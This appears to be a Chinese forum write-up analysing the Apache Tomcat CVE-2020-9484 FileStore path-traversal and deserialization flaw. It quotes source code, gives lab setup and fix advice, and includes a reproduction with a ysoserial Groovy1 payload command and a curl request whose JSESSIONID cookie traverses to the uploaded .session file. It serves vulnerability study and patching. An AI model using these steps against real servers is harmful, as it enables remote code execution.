java反序列化漏洞 tomcat_CVE-2020-9484 Apache Tomcat反序列化漏洞浅析

本文是i春秋论坛作家「Ybwh」表哥原创的一篇技术文章，浅析CVE-2020-9484 Apache Tomcat反序列化漏洞。

01漏洞概述

这次是因为错误配置和org.apache.catalina.session.FileStore的LFI和反序列化漏洞引起的RCE。当配置了org.apache.catalina.session.PersistentManager并且使用org.apache.catalina.session.FileStore来储存session时, 用户可以通过org.apache.catalina.session.FileStore的一个LFI漏洞来读取服务器上任意以 .session结尾的文件，然后通过反序列化来运行.session文件。

默认情况是使用org.apache.catalina.session.StandardManager, 将session储存到内存，而PersistentManager会将不常用的session swap out，从而减少内存占用。

此处使用Tomcat 10.0.0-M4来做分析，这里主要是FileStore的LFI漏洞可以反序列化任意路径上的.session 文件，如果同时存在文件上传漏洞的话就是RCE了。

首先看FileStore源码，当用户请求里带有JSESSIONID时，会运行存在问题的load方法：

public Session load(String id) throws ClassNotFoundException, IOException { // Open an input stream to the specified pathname, if any File file = file(id); if (file== null || !file.exists()) { return null; } Context context = getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isDebugEnabled()){ contextLog.debug(sm.getString(getStoreName()+".loading", id,file.getAbsolutePath())); } ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null); try (FileInputStreamfis = new FileInputStream(file.getAbsolutePath()); ObjectInputStream ois = getObjectInputStream(fis)) { StandardSession session = (StandardSession) manager.createEmptySession(); session.readObjectData(ois); session.setManager(manager); return session; } catch (FileNotFoundExceptione) { if (contextLog.isDebugEnabled()){ contextLog.debug("No persisted data file found"); } return null; } finally { context.unbind(Globals.IS_SECURITY_ENABLED,oldThreadContextCL); } }

load会先将session id转换成file object查看文件是否存在，如果存在的话会读取文件. file object会为输入的id添加.session后缀，然而并没有验证文件的目录：

private File file(String id) throws IOException{ if (this.directory == null) { return null; } String filename= id + FILE_EXT; File file = new File(directory(), filename); return file; }

org.apache.catalina.session.getObjectInputStream，方法：

protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException{ BufferedInputStream bis = new BufferedInputStream(is); CustomObjectInputStream ois; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (managerinstanceof ManagerBase) { ManagerBase managerBase = (ManagerBase) manager; ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(), managerBase.getSessionAttributeValueClassNamePattern(), managerBase.getWarnOnSessionAttributeFilterFailure()); } else { ois = new CustomObjectInputStream(bis, classLoader); } return ois; }

getObjectInputStream方法运行

org.apache.catalina.util.CustomObjectInputStream，获取gadget类，然后就反序列化session文件了。

02影响版本

Apache Tomcat：10.0.0-M1 to 10.0.0-M4，9.0.0.M1 to 9.0.34，8.5.0 to 8.5.54 and 7.0.0 to7.0.103

03环境搭建

本次使用linux进行测试，设置一个Tomcat服务：

1、下载Tomcat 10.0.0-M4；

2、将文件解压之后放入/usr/local/tomcat；

3、修改/usr/local/tomcat/conf/context.xlm，添加Manager；

WEB-INF/web.xmlWEB-INF/tomcat-web.xml${catalina.base}/conf/web.xml

directory设置成什么都没有关系，因为不过滤 ../

4、下载groovy-2.3.9.jar；

5、将groovy-2.3.9.jar 放入 /usr/local/tomcat/lib；

6、执行/usr/local/tomcat/bin/catalina.shstart，运行Tomcat。

04漏洞复现

目标是在服务器上执行touch /tmp/2333，假设.session文件已经被上传到服务器的已知位置。

1、下载ysoserial一个生成java反序列化payload的.jar 包；

2、执行java-jarysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" >/tmp/test.session 生成payload；

3、执行

curl'http://127.0.0.1:8080/index.jsp'-H'Cookie:JSESSIONID=../../../../../tmp/test'

虽然有报错但是反序列化已经执行了

4、执行ls /tmp查看结果：

05修复方式

对比Tomcat 10.0.0-M4和Tomcat 10.0.0-M5的FileStore，源码可以发现做了目录验证。

修复方式就是升级，或者配置WAF，过滤掉../之类的字符串，或者不使用FileStore。

以上是今天要分享的内容，大家看懂了吗？